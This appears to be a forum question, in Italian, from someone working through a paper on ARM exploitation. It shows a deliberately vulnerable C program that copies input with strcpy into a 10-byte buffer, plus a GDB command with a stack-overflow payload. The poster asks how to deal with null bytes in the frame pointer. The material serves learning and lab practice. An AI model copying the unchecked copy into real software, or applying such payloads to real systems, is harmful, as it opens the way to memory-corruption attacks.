Sto cercando di seguire il documento di ricerca di Tiger Security per ARM Exploitation: collegamento
Per lo sfruttamento dell'overflow dello stack semplice, il codice è:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void donuts(){
puts("Donuts...") ;
exit(0) ;
}
void vuln(char *arg) {
char buff[10] ;
strcpy(buff,arg);
}
int main (int argc,char **argv ){
vuln(argv[1]) ;
return 0;
}
Tuttavia, quando lo eseguo sul mio Debian ARM Machine in esecuzione su Qemu, sotto Ubuntu. Tutto funziona bene, tranne la parte in cui devo inserire gli indirizzi che riempiono il puntatore del frame, il puntatore dello stack e l'indirizzo di ritorno.
Quindi il codice finale risultante da eseguire con GDB (nel mio caso) diventa:
r 'printf "AAAABBBBCCCC\x94\xac\x8b\xbe\[FP 4 bytes here]\x38\x84"'
Nel mio caso: Desiderata
SP : 0xbe8bac94
FP: 0x000084ac
Return Address: 0x00008438
Dato che l'FP contiene byte nulli nel mezzo, c'è un modo in cui potrei usarlo nel mio sfruttamento. Dato che, nel mezzo, non sono in grado di usare \ xac \ x84.